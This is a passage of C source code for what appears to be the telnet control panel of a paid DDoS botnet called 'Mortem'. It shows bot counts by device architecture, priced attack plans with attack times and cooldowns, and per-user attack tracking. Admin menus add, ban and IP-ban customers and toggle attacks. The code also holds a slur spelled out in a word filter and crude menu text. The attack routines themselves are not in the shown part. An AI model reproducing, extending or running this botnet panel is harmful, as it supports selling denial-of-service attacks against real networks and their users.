MSG_NOSIGNAL) == -1) goto end; 1614 | } 1615 | if(ppcConnected() != 0) 1616 | { 1617 | sprintf(synpur5,"\e[35;8;126mPpc: [\e[92m%d\e[35;8;126m] \r\n", ppcConnected()); 1618 | if(send(datafd, synpur5, strlen(synpur5), MSG_NOSIGNAL) == -1) goto end; 1619 | } 1620 | if(spcConnected() != 0) 1621 | { 1622 | sprintf(synpur6,"\e[35;8;126mSpc: [\e[92m%d\e[35;8;126m] \r\n", spcConnected()); 1623 | if(send(datafd, synpur6, strlen(synpur6), MSG_NOSIGNAL) == -1) goto end; 1624 | } 1625 | if(unknownConnected() != 0) 1626 | { 1627 | sprintf(synpur7,"\e[35;8;126mUnknown: [\e[92m%d\e[35;8;126m] \r\n", unknownConnected()); 1628 | if(send(datafd, synpur7, strlen(synpur7), MSG_NOSIGNAL) == -1) goto end; 1629 | } 1630 | pthread_create(&title, NULL, &TitleWriter, sock); 1631 | 1632 | } 1633 | 1634 | 1635 | if(strcasestr(buf, "extra")) 1636 | { 1637 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1638 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1639 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1640 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1641 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1642 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1643 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1644 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1645 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1646 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1647 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1648 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1649 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1650 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1651 | 1652 | char extra1[1000]; 1653 | char extra2[1000]; 1654 | char extra3[1000]; 1655 | char extra4[1000]; 1656 | char extra5[1000]; 1657 | char extra6[1000]; 1658 | char extra7[1000]; 1659 | char extra8[1000]; 1660 | char extra9[1000]; 1661 | char extra10[1000]; 1662 | char extra11[1000]; 1663 | char extra12[1000]; 1664 | 1665 | sprintf(extra1, " \e[38;5;54m ╔════════════════════════════╗\r\n"); 1666 | sprintf(extra2, " \e[38;5;54m ║ \e[97mCO OWNERS: \e[38;5;54m║\r\n"); 1667 | sprintf(extra3, " \e[38;5;54m╔══════════════════════════════════════╗ ║ \e[97m================ \e[38;5;54m║\r\n"); 1668 | sprintf(extra4, " \e[38;5;54m║ \e[97mLogout \e[38;5;124m---\e[38;5;14mSecurely Logs You Out \e[38;5;54m╠══╣ \e[38;5;14m@tfs_deus \e[38;5;54m║\r\n"); 1669 | sprintf(extra5, " \e[38;5;54m║ \e[97mTitties \e[38;5;124m---\e[38;5;14mShows Juicy Titties \e[38;5;54m║ ║ \e[38;5;14m@internetxenos \e[38;5;54m║\r\n"); 1670 | sprintf(extra6, " \e[38;5;54m║ \e[97mMsg \e[38;5;124m---\e[38;5;14mMessage Other Users \e[38;5;54m║ ╚════════════════════════════╝\r\n"); 1671 | sprintf(extra7, " \e[38;5;54m║ \e[97mOnline \e[38;5;124m---\e[38;5;14mShows Users Online \e[38;5;54m║\r\n"); 1672 | sprintf(extra8, " \e[38;5;54m║ \e[97mCampfire \e[38;5;124m---\e[38;5;14mShows Campfire \e[38;5;54m║ ╔═════════════════════════════╗\r\n"); 1673 | sprintf(extra9, " \e[38;5;54m║ \e[97mAmerica \e[38;5;124m---\e[38;5;14mShows 'Murica \e[38;5;54m║ ║ \e[97mSource Owner-Coded By: \e[38;5;54m║\r\n"); 1674 | sprintf(extra10, " \e[38;5;54m║ \e[97mToggle1 \e[38;5;124m---\e[38;5;14mToggles Messaging \e[38;5;54m╠══╣ \e[38;5;14mINSTA: \e[38;5;124mMaverickSlams \e[38;5;54m║\r\n"); 1675 | sprintf(extra11, " \e[38;5;54m║ \e[97mToggle2 \e[38;5;124m---\e[38;5;14mToggles Broadcast \e[38;5;54m║ ║ \e[38;5;14mDISCORD: \e[38;5;124mMaverickSlams#0663 \e[38;5;54m║\r\n"); 1676 | sprintf(extra12, " \e[38;5;54m╚══════════════════════════════════════╝ ╚═════════════════════════════╝\r\n"); 1677 | 1678 | if(send(datafd, extra1, strlen(extra1), MSG_NOSIGNAL) == -1) goto end; 1679 | if(send(datafd, extra2, strlen(extra2), MSG_NOSIGNAL) == -1) goto end; 1680 | if(send(datafd, extra3, strlen(extra3), MSG_NOSIGNAL) == -1) goto end; 1681 | if(send(datafd, extra4, strlen(extra4), MSG_NOSIGNAL) == -1) goto end; 1682 | if(send(datafd, extra5, strlen(extra5), MSG_NOSIGNAL) == -1) goto end; 1683 | if(send(datafd, extra6, strlen(extra6), MSG_NOSIGNAL) == -1) goto end; 1684 | if(send(datafd, extra7, strlen(extra7), MSG_NOSIGNAL) == -1) goto end; 1685 | if(send(datafd, extra8, strlen(extra8), MSG_NOSIGNAL) == -1) goto end; 1686 | if(send(datafd, extra9, strlen(extra9), MSG_NOSIGNAL) == -1) goto end; 1687 | if(send(datafd, extra10, strlen(extra10), MSG_NOSIGNAL) == -1) goto end; 1688 | if(send(datafd, extra11, strlen(extra11), MSG_NOSIGNAL) == -1) goto end; 1689 | if(send(datafd, extra12, strlen(extra12), MSG_NOSIGNAL) == -1) goto end; 1690 | } 1691 | 1692 | if(strcasestr(buf, "admin")) 1693 | { 1694 | if(!strcasecmp(accounts[find_line].admin, "admin")) 1695 | { 1696 | pthread_create(&title, NULL, &TitleWriter, sock); 1697 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1698 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1699 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1700 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1701 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1702 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1703 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1704 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1705 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1706 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1707 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1708 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1709 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1710 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1711 | char admin1 [800]; 1712 | char admin2 [800]; 1713 | char admin3 [800]; 1714 | char admin4 [800]; 1715 | char admin5 [800]; 1716 | char admin6 [800]; 1717 | char admin7 [800]; 1718 | char admin8 [800]; 1719 | char admin9 [800]; 1720 | char admin10 [800]; 1721 | char admin11 [800]; 1722 | sprintf(admin1, " \e[38;5;54m╔═\e[38;5;2m╔══║\e[38;5;54m══════════════════════════════════════\e[38;5;2m║══╗\e[38;5;54m═╗\r\n"); 1723 | sprintf(admin2, " \e[38;5;54m║\e[38;5;2m═╝\e[38;5;54m════════════════════════════════════════════\e[38;5;2m╚═\e[38;5;54m║\r\n"); 1724 | sprintf(admin3, " \e[38;5;54m║ \e[38;5;54m║\r\n"); 1725 | sprintf(admin4, " \e[38;5;54m║ \e[97mUser \e[38;5;124m---\e[38;5;14mShows All User Commands \e[38;5;54m║\r\n"); 1726 | sprintf(admin5, " \e[38;5;54m║ \e[97mBroadcast \e[38;5;124m---\e[38;5;14mBroadcasts A Message \e[38;5;54m║\r\n"); 1727 | sprintf(admin6, " \e[38;5;54m║ \e[97mTogglelisten \e[38;5;124m---\e[38;5;14mShows Sent Attacks \e[38;5;54m║\r\n"); 1728 | sprintf(admin7, " \e[38;5;54m║ \e[97mToggleAttacks \e[38;5;124m---\e[38;5;14mDisables Attacks \e[38;5;54m║\r\n"); 1729 | sprintf(admin8, " \e[38;5;54m║ \e[97mTogglelogin \e[38;5;124m---\e[38;5;14mShows Incoming Logins \e[38;5;54m║\r\n"); 1730 | sprintf(admin9, " \e[38;5;54m║ \e[38;5;54m║\r\n"); 1731 | sprintf(admin10, " \e[38;5;54m║\e[38;5;2m═╗\e[38;5;54m════════════════════════════════════════════\e[38;5;2m╔═\e[38;5;54m║\r\n"); 1732 | sprintf(admin11, " \e[38;5;54m╚═\e[38;5;2m╚══║\e[38;5;54m══════════════════════════════════════\e[38;5;2m║══╝\e[38;5;54m═╝\r\n"); 1733 | 1734 | if(send(datafd, admin1, strlen(admin1), MSG_NOSIGNAL) == -1) goto end; 1735 | if(send(datafd, admin2, strlen(admin2), MSG_NOSIGNAL) == -1) goto end; 1736 | if(send(datafd, admin3, strlen(admin3), MSG_NOSIGNAL) == -1) goto end; 1737 | if(send(datafd, admin4, strlen(admin4), MSG_NOSIGNAL) == -1) goto end; 1738 | if(send(datafd, admin5, strlen(admin5), MSG_NOSIGNAL) == -1) goto end; 1739 | if(send(datafd, admin6, strlen(admin6), MSG_NOSIGNAL) == -1) goto end; 1740 | if(send(datafd, admin7, strlen(admin7), MSG_NOSIGNAL) == -1) goto end; 1741 | if(send(datafd, admin8, strlen(admin8), MSG_NOSIGNAL) == -1) goto end; 1742 | if(send(datafd, admin9, strlen(admin9), MSG_NOSIGNAL) == -1) goto end; 1743 | if(send(datafd, admin10, strlen(admin10), MSG_NOSIGNAL) == -1) goto end; 1744 | if(send(datafd, admin11, strlen(admin11), MSG_NOSIGNAL) == -1) goto end; 1745 | pthread_create(&title, NULL, &TitleWriter, sock); 1746 | } 1747 | } 1748 | 1749 | else if(strcasestr(buf, "plans")) 1750 | { 1751 | char plans[8000]; 1752 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1753 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1754 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1755 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1756 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1757 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1758 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1759 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1760 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1761 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1762 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1763 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1764 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1765 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1766 | sprintf(plans, "\e[38;5;54mBasic:\r\n\e[38;5;14mMax Time: \e[38;5;2m300\r\n\e[38;5;14mCooldown: \e[38;5;2m180\r\n\e[38;5;14mMonthly: \e[38;5;2m15$\r\n\e[38;5;54mVIP:\r\n\e[38;5;14mMaxtime: \e[38;5;2m600\r\n\e[38;5;14mCooldown: \e[38;5;2m120\r\n\e[38;5;14mMonthly: \e[38;5;2m25$\r\n\e[38;5;54mMVP:\r\n\e[38;5;14mMaxtime: \e[38;5;2m900\r\n\e[38;5;14mCooldown: \e[38;5;2m60\r\n\e[38;5;14mMonthly: \e[38;5;2m40$\r\n"); 1767 | if(send(datafd, plans, strlen(plans), MSG_NOSIGNAL) == -1) goto end; 1768 | } 1769 | 1770 | 1771 | else if(strcasestr(buf, "account")) 1772 | { 1773 | char info1[800]; 1774 | char info2[800]; 1775 | char info3[800]; 1776 | char info4[800]; 1777 | char info5[800]; 1778 | char info6[800]; 1779 | 1780 | sprintf(info1, "Username: %s\r\n", managements[datafd].id); 1781 | sprintf(info2, "Plan: %s\r\n", managements[datafd].planname); 1782 | sprintf(info3, "Attack Time: %d\r\n", managements[datafd].mymaxtime); 1783 | sprintf(info4, "Cooldown: %d\r\n", managements[datafd].mycooldown); 1784 | sprintf(info5, "# Attacks Running: %d\r\n", Sending[datafd].amountofatks); 1785 | 1786 | if(send(datafd, info1, strlen(info1), MSG_NOSIGNAL) == -1) goto end; 1787 | if(send(datafd, info2, strlen(info2), MSG_NOSIGNAL) == -1) goto end; 1788 | if(send(datafd, info3, strlen(info3), MSG_NOSIGNAL) == -1) goto end; 1789 | if(send(datafd, info4, strlen(info4), MSG_NOSIGNAL) == -1) goto end; 1790 | if(send(datafd, info5, strlen(info5), MSG_NOSIGNAL) == -1) goto end; 1791 | //if(send(datafd, info6, strlen(info6), MSG_NOSIGNAL) == -1) goto end; 1792 | } 1793 | 1794 | 1795 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1796 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1797 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1798 | 1799 | else if(strcasestr(buf, "msg") || strcasestr(buf, "message")) 1800 | { 1801 | int tosend; 1802 | char sentmsg[800]; 1803 | char msg[800]; 1804 | char usertomsg[800]; 1805 | sprintf(usethis, "User:"); 1806 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1807 | memset(buf, 0, sizeof(buf)); 1808 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 1809 | trim(buf); 1810 | strcpy(usertomsg, buf); 1811 | 1812 | sprintf(usethis, "MSG:"); 1813 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1814 | memset(buf, 0, sizeof(buf)); 1815 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 1816 | trim(buf); 1817 | strcpy(msg, buf); 1818 | if(strcasestr(msg, "nigger") || strcasestr(msg, "nig") || strcasestr(msg, "n1g") || strcasestr(msg, "nlg") || strcasestr(msg, "n.i.g") || strcasestr(msg, "n!g") || strcasestr(msg, "n|g")) 1819 | { 1820 | sprintf(usethis, "\e[38;5;190mThis Word Is Not Allowed Here!\r\n"); 1821 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1822 | sleep(2); 1823 | } else { 1824 | 1825 | for(tosend=0;tosend < MAXFDS;tosend++){ 1826 | if(strstr(managements[tosend].id, usertomsg)) 1827 | { 1828 | if(managements[tosend].msgtoggle == 0) 1829 | { 1830 | char sendmsg[800]; 1831 | sprintf(sendmsg, "\r\n\e[38;5;190mMSG From %s: %s\r\n", managements[datafd].id, msg); 1832 | if(send(tosend, sendmsg, strlen(sendmsg), MSG_NOSIGNAL) == -1) goto end; 1833 | sprintf(sendmsg, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[tosend].id); 1834 | if(send(tosend, sendmsg, strlen(sendmsg), MSG_NOSIGNAL) == -1) goto end; 1835 | sent = 1; 1836 | } else { 1837 | sent = 3; 1838 | } 1839 | } 1840 | } 1841 | if(sent == 1) 1842 | { 1843 | printf("[Mortem]:%s Sent A Message To:%s Msg: %s\n", managements[datafd].id, usertomsg, msg); 1844 | sprintf(sentmsg, "\e[38;5;190mMsg Sent to: %s\r\n", usertomsg); 1845 | if(send(datafd, sentmsg, strlen(sentmsg), MSG_NOSIGNAL) == -1) goto end; 1846 | sent = 0; 1847 | } 1848 | else if(sent == 3) 1849 | { 1850 | sprintf(usethis, "\e[38;5;190mUser %s Has Messages Toggled OFF\r\n", usertomsg); 1851 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1852 | } 1853 | 1854 | else if(!sent) 1855 | { 1856 | sprintf(usethis, "\e[38;5;190mUser %s Isnt Online\r\n", usertomsg); 1857 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1858 | memset(msg,0,sizeof(msg)); 1859 | } 1860 | } 1861 | memset(buf,0,sizeof(buf)); 1862 | } 1863 | 1864 | if(strcasestr(buf, "online")) 1865 | { 1866 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1867 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1868 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1869 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1870 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1871 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1872 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1873 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1874 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1875 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1876 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1877 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1878 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1879 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1880 | if(managements[datafd].adminstatus == 1) 1881 | { 1882 | int online; 1883 | sprintf(usethis, "\e[38;5;54mUsers Online\r\n"); 1884 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1885 | for(online=0;online < MAXFDS; online++) 1886 | { 1887 | if(strlen(managements[online].id) > 1 && managements[online].connected == 1) 1888 | { 1889 | if(strcmp(managements[online].planname, "admin") == 0) 1890 | { 1891 | sprintf(botnet, "\e[38;5;190m%s | IP: HIDDEN\r\n", managements[online].id); 1892 | if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end; 1893 | } else { 1894 | sprintf(botnet, "\e[38;5;14m%s | IP: %s\r\n", managements[online].id, managements[online].my_ip); 1895 | if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end; 1896 | } 1897 | } 1898 | } 1899 | } else 1900 | { 1901 | int online; 1902 | for(online=0;online < MAXFDS; online++) 1903 | { 1904 | if(strlen(managements[online].id) > 1 && managements[online].connected == 1) 1905 | { 1906 | sprintf(botnet, "\e[38;5;190m%s | IP: HIDDEN\r\n", managements[online].id); 1907 | if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end; 1908 | } 1909 | } 1910 | } 1911 | sprintf(botnet, "\e[38;5;2mTotal Users Online: %d\r\n", OperatorsConnected); 1912 | if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end; 1913 | } 1914 | 1915 | 1916 | ///////////////////////////////////////////////////////////////////////////////////////////////END OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1917 | ///////////////////////////////////////////////////////////////////////////////////////////////END OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1918 | ///////////////////////////////////////////////////////////////////////////////////////////////END OF EXTRA COMMANDS//////////////////////////////////////////////////////////////////////////// 1919 | 1920 | 1921 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF ADMIN COMMANDS//////////////////////////////////////////////////////////////////////////// 1922 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF ADMIN COMMANDS//////////////////////////////////////////////////////////////////////////// 1923 | ///////////////////////////////////////////////////////////////////////////////////////////////START OF ADMIN COMMANDS//////////////////////////////////////////////////////////////////////////// 1924 | if(strcasestr(buf, "user")) { 1925 | if(managements[datafd].adminstatus == 1) 1926 | { 1927 | char options[80]; 1928 | char cmd1[800]; 1929 | char send1[800]; 1930 | char whatyucanuse1[2048]; 1931 | char whatyucanuse2[2048]; 1932 | char whatyucanuse3[2048]; 1933 | char whatyucanuse4[2048]; 1934 | char whatyucanuse5[2048]; 1935 | char whatyucanuse6[2048]; 1936 | char whatyucanuse7[2048]; 1937 | char whatyucanuse8[2048]; 1938 | char whatyucanuse9[2048]; 1939 | char whatyucanuse10[2048]; 1940 | char whatyucanuse11[2048]; 1941 | char whatyucanuse12[2048]; 1942 | char whatyucanuse13[2048]; 1943 | char whatyucanuse14[2048]; 1944 | char whatyucanuse15[2048]; 1945 | char whatyucanuse16[2048]; 1946 | char whatyucanuse17[2048]; 1947 | char whatyucanuse18[2048]; 1948 | 1949 | 1950 | sprintf(whatyucanuse1, " \e[38;5;54m ╔═════════════\e[38;5;2m╗ \e[38;5;54m╔═════════════\e[38;5;2m╗\r\n"); 1951 | sprintf(whatyucanuse2, " \e[38;5;54m1 ║ \e[38;5;14mAdd User. \e[38;5;2m║ \e[38;5;54m7 ║ \e[38;5;14mKick User. \e[38;5;2m║\r\n"); 1952 | sprintf(whatyucanuse3, " \e[38;5;54m ╚\e[38;5;2m═════════════╝ \e[38;5;54m╚\e[38;5;2m═════════════╝\r\n"); 1953 | sprintf(whatyucanuse4, " \e[38;5;54m ╔═════════════\e[38;5;2m╗ \e[38;5;54m╔═════════════\e[38;5;2m╗\r\n"); 1954 | sprintf(whatyucanuse5, " \e[38;5;54m2 ║ \e[38;5;14mRem User. \e[38;5;2m║ \e[38;5;54m8 ║ \e[38;5;14mBlacklist. \e[38;5;2m║\r\n"); 1955 | sprintf(whatyucanuse6, " \e[38;5;54m ╚\e[38;5;2m═════════════╝ \e[38;5;54m╚\e[38;5;2m═════════════╝\r\n"); 1956 | sprintf(whatyucanuse7, " \e[38;5;54m ╔═════════════\e[38;5;2m╗ \r\n"); 1957 | sprintf(whatyucanuse8, " \e[38;5;54m3 ║ \e[38;5;14mBan User. \e[38;5;2m║ \r\n"); 1958 | sprintf(whatyucanuse9, " \e[38;5;54m ╚\e[38;5;2m═════════════╝ \r\n"); 1959 | sprintf(whatyucanuse10, " \e[38;5;54m ╔═════════════\e[38;5;2m╗ \r\n"); 1960 | sprintf(whatyucanuse11, " \e[38;5;54m4 ║ \e[38;5;14mUnBan User. \e[38;5;2m║ \r\n"); 1961 | sprintf(whatyucanuse12, " \e[38;5;54m ╚\e[38;5;2m═════════════╝ \r\n"); 1962 | sprintf(whatyucanuse13, " \e[38;5;54m ╔═════════════\e[38;5;2m╗ \r\n"); 1963 | sprintf(whatyucanuse14, " \e[38;5;54m5 ║ \e[38;5;14mIPBan User. \e[38;5;2m║ \r\n"); 1964 | sprintf(whatyucanuse15, " \e[38;5;54m ╚\e[38;5;2m═════════════╝ \r\n"); 1965 | sprintf(whatyucanuse16, " \e[38;5;54m ╔═══════════════\e[38;5;2m╗ \r\n"); 1966 | sprintf(whatyucanuse17, " \e[38;5;54m6 ║ \e[38;5;14mUnIPBan User. \e[38;5;2m║ \r\n"); 1967 | sprintf(whatyucanuse18, " \e[38;5;54m ╚\e[38;5;2m═══════════════╝ \r\n"); 1968 | 1969 | 1970 | if(send(datafd, whatyucanuse1, strlen(whatyucanuse1), MSG_NOSIGNAL) == -1) goto end; 1971 | if(send(datafd, whatyucanuse2, strlen(whatyucanuse2), MSG_NOSIGNAL) == -1) goto end; 1972 | if(send(datafd, whatyucanuse3, strlen(whatyucanuse3), MSG_NOSIGNAL) == -1) goto end; 1973 | if(send(datafd, whatyucanuse4, strlen(whatyucanuse4), MSG_NOSIGNAL) == -1) goto end; 1974 | if(send(datafd, whatyucanuse5, strlen(whatyucanuse5), MSG_NOSIGNAL) == -1) goto end; 1975 | if(send(datafd, whatyucanuse6, strlen(whatyucanuse6), MSG_NOSIGNAL) == -1) goto end; 1976 | if(send(datafd, whatyucanuse7, strlen(whatyucanuse7), MSG_NOSIGNAL) == -1) goto end; 1977 | if(send(datafd, whatyucanuse8, strlen(whatyucanuse8), MSG_NOSIGNAL) == -1) goto end; 1978 | if(send(datafd, whatyucanuse9, strlen(whatyucanuse9), MSG_NOSIGNAL) == -1) goto end; 1979 | if(send(datafd, whatyucanuse10, strlen(whatyucanuse10), MSG_NOSIGNAL) == -1) goto end; 1980 | if(send(datafd, whatyucanuse11, strlen(whatyucanuse11), MSG_NOSIGNAL) == -1) goto end; 1981 | if(send(datafd, whatyucanuse12, strlen(whatyucanuse12), MSG_NOSIGNAL) == -1) goto end; 1982 | if(send(datafd, whatyucanuse13, strlen(whatyucanuse13), MSG_NOSIGNAL) == -1) goto end; 1983 | if(send(datafd, whatyucanuse14, strlen(whatyucanuse14), MSG_NOSIGNAL) == -1) goto end; 1984 | if(send(datafd, whatyucanuse15, strlen(whatyucanuse15), MSG_NOSIGNAL) == -1) goto end; 1985 | if(send(datafd, whatyucanuse16, strlen(whatyucanuse16), MSG_NOSIGNAL) == -1) goto end; 1986 | if(send(datafd, whatyucanuse17, strlen(whatyucanuse17), MSG_NOSIGNAL) == -1) goto end; 1987 | if(send(datafd, whatyucanuse18, strlen(whatyucanuse18), MSG_NOSIGNAL) == -1) goto end; 1988 | 1989 | sprintf(options, "\e[38;5;190mOption:"); 1990 | if(send(datafd, options, strlen(options), MSG_NOSIGNAL) == -1) goto end; 1991 | memset(buf, 0, sizeof(buf)); 1992 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 1993 | trim(buf); 1994 | 1995 | if(strstr(buf, "1") || strstr(buf, "ONE") || strstr(buf, "One") || strstr(buf, "one")) 1996 | { 1997 | char username1[80]; 1998 | char password1[80]; 1999 | char status1[80]; 2000 | char maxtime1[80]; 2001 | char cooldown1[80]; 2002 | char newexpiry[800]; 2003 | char send1[1024]; 2004 | sprintf(usethis, "\e[38;5;190mUsename:"); 2005 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2006 | memset(buf, 0, sizeof(buf)); 2007 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2008 | trim(buf); 2009 | strcpy(username1, buf); 2010 | 2011 | sprintf(usethis, "\e[38;5;190mpassword:"); 2012 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2013 | memset(buf, 0, sizeof(buf)); 2014 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2015 | trim(buf); 2016 | strcpy(password1, buf); 2017 | 2018 | sprintf(usethis, "\e[38;5;190madmin(y or n):"); 2019 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2020 | memset(buf, 0, sizeof(buf)); 2021 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2022 | trim(buf); 2023 | 2024 | if(strstr(buf, "y") || strstr(buf, "Y") || strstr(buf, "yes") || strstr(buf, "Yes") || strstr(buf, "YES")) 2025 | { 2026 | strcpy(status1, "admin"); 2027 | strcpy(maxtime1, "1200"); 2028 | strcpy(cooldown1, "0"); 2029 | strcpy(newexpiry, "99/99/99"); 2030 | goto thing; 2031 | } 2032 | 2033 | sprintf(usethis, " \e[38;5;54m╔═══════╗ ╔═══════╗ ╔═══════╗\r\n ║\e[38;5;2m Basic \e[38;5;54m║ ║ \e[38;5;2m VIP \e[38;5;54m ║ ║\e[38;5;2m MVP \e[38;5;54m ║\r\n \e[38;5;54m╚═══════╝ ╚═══════╝ ╚═══════╝\r\n"); 2034 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2035 | 2036 | sprintf(usethis, "\e[38;5;190mPlan:"); 2037 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2038 | memset(buf, 0, sizeof(buf)); 2039 | if(fdgets(buf, sizeof(buf), datafd) < 1) goto end; 2040 | trim(buf); 2041 | 2042 | if(strstr(buf, "BASIC") || strstr(buf, "Basic") || strstr(buf, "basic")); 2043 | { 2044 | strcpy(maxtime1, "300"); 2045 | strcpy(cooldown1, "120"); 2046 | strcpy(status1, "Basic"); 2047 | } 2048 | 2049 | if(strstr(buf, "VIP") || strstr(buf, "Vip") || strstr(buf, "vip")) 2050 | { 2051 | strcpy(maxtime1, "600"); 2052 | strcpy(cooldown1, "60"); 2053 | strcpy(status1, "Vip"); 2054 | } 2055 | 2056 | if(strstr(buf, "MVP") || strstr(buf, "Mvp") || strstr(buf, "mvp")) 2057 | { 2058 | strcpy(maxtime1, "900"); 2059 | strcpy(cooldown1, "10"); 2060 | strcpy(status1, "MVP"); 2061 | } 2062 | sprintf(usethis, "\e[38;5;190mUsage: DD/MM/YY\r\nExpiry:"); 2063 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 2064 | memset(buf, 0,sizeof(buf)); 2065 | if(fdgets(buf, 